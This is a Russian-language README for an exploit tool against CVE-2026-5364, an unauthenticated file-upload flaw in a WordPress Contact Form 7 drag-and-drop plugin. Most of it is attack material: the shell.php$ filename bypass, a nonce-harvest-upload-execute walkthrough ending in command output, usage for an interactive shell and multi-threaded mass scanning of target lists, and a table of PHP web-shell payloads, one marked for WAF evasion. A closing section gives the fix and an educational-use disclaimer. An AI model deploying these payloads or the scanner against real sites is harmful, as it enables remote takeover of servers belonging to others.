
CVE-2026-5364 — это уязвимость CVSS 8.1 (высокая) неаутентифицированной произвольной загрузки файлов в плагине Drag and Drop File Upload for Contact Form 7.
CVE-2026-5364 — это уязвимость неавторизованной произвольной загрузки файлов с рейтингом CVSS 8.1 (высокий) в плагине Drag and Drop File Upload for Contact Form 7
Неавторизованная произвольная загрузка файлов через обход
sanitize_file_name()CVSS 8.1 (высокий) | Затронуто: <= 1.1.3 | Исправлено: 1.1.4
| Поле | Значение |
|---|
| CVE ID | CVE-2026-5364 |
| Плагин | Drag and Drop File Upload for Contact Form 7 |
| Slug | drag-and-drop-file-upload-for-contact-form-7 |
| CVSS | 8.1 (высокий) |
| Вектор | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронуто | <= 1.1.3 |
| Исправлено | 1.1.4 |
| Исследователь | Thomas Sanzey |
| Публикация | 23 апреля 2026 г. |
Плагин читает расширение файла до очистки sanitize_file_name().
Злоумышленник загружает файл с именем shell.php$:
pathinfo('shell.php$', PATHINFO_EXTENSION) → 'php$' ← обходит чёрный список
sanitize_file_name('shell.php$') → 'shell.php' ← сохраняется как PHP
Цепочка из трёх независимых слабостей:
type POST'а берётся от пользователяpathinfo() применяется к сырому имени файлаsanitize_file_name() внутри wp_unique_filename() удаляет символ $git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests
requests# Базовый эксплойт (команда id)
python CVE-2026-5364.py -u https://target.com
# Пользовательская команда
python CVE-2026-5364.py -u https://target.com -c "whoami"
# Интерактивная оболочка
python CVE-2026-5364.py -u https://target.com --interactive
# Другой тип оболочки
python CVE-2026-5364.py -u https://target.com --shell exec
# Подробный вывод + прокси
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080
# Сканирование с 20 потоками
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt
# Пробовать также исправленные версии
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30
# Сохранить результаты в файл
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt
Цель:
-u, --url URL URL одиночной цели
-l, --list FILE Список целей (по одному URL на строку)
Эксплойт:
-c, --cmd CMD Команда ОС (по умолчанию: id)
--shell TYPE Тип веб-оболочки: basic|exec|pass|eval|info
-i, --interactive Открыть интерактивную оболочку
--no-skip-patched Пробовать также исправленные версии
Сканирование:
-t, --threads N Количество потоков (по умолчанию: 10)
--timeout S Тайм-аут в секундах (по умолчанию: 15)
--proxy URL Адрес прокси
Вывод:
-o, --output FILE Файл результата
-v, --verbose Подробный вывод
--no-color Вывод без цвета
| Тип | Полезная нагрузка | Использование |
|---|---|---|
basic | <?php system($_GET["cmd"]); ?> | Общего назначения |
exec | <?php echo shell_exec($_GET["cmd"]); ?> | Полный вывод |
pass | <?php passthru($_GET["cmd"]); ?> | Бинарный вывод |
eval | <?php @eval(base64_decode($_POST["x"])); ?> | Скрытый/WAF bypass |
info | <?php phpinfo(); ?> | Информация о PHP |
1. Обнаружение nonce
└─ wp_localize_script() доступен каждому посетителю
GET /contact/ → в HTML: "nonce":"abc123def4"
2. Загрузка оболочки
└─ POST /wp-admin/admin-ajax.php
action=cf7_file_uploads
nonce=abc123def4
type=php$ ← отсутствует в чёрном списке
file=shell.php$ ← sanitize_file_name() → shell.php
3. Получение URL
└─ Ответ: {"status":"ok","text":"https://target.com/wp-content/
uploads/cf7-uploads-custom/6831a2f4b3c12.php"}
4. RCE
└─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Символы, удаляемые sanitize_file_name():
$ % ~ ` (пробел)
Инструмент автоматически перебирает все символы для обхода.
| Фактор | Влияние |
|---|---|
Apache .htaccess (Content-Disposition: attachment) | Блокирует выполнение PHP |
| Nginx / LiteSpeed | .htaccess не действует — RCE возможна |
Случайное имя файла (uniqid()) | Неэффективно, т.к. URL возвращается в AJAX-ответе |
| Nonce | Защита от CSRF — не аутентификация, неэффективно |
Обновите плагин до версии 1.1.4 или новее.
# Обновление через WP-CLI
wp plugin update drag-and-drop-file-upload-for-contact-form-7
// НЕВЕРНО (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);
// ВЕРНО (1.1.4)
$clean_name = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);
// Параметр type теперь берётся из настроек администратора
$type = $this->get_admin_allowed_types($form_id); // не из POST
Данный инструмент разработан исключительно для образовательных целей и защитных исследований. Использование на неавторизованных системах запрещено и может иметь юридические последствия. Используйте только на системах, на которые у вас есть разрешение.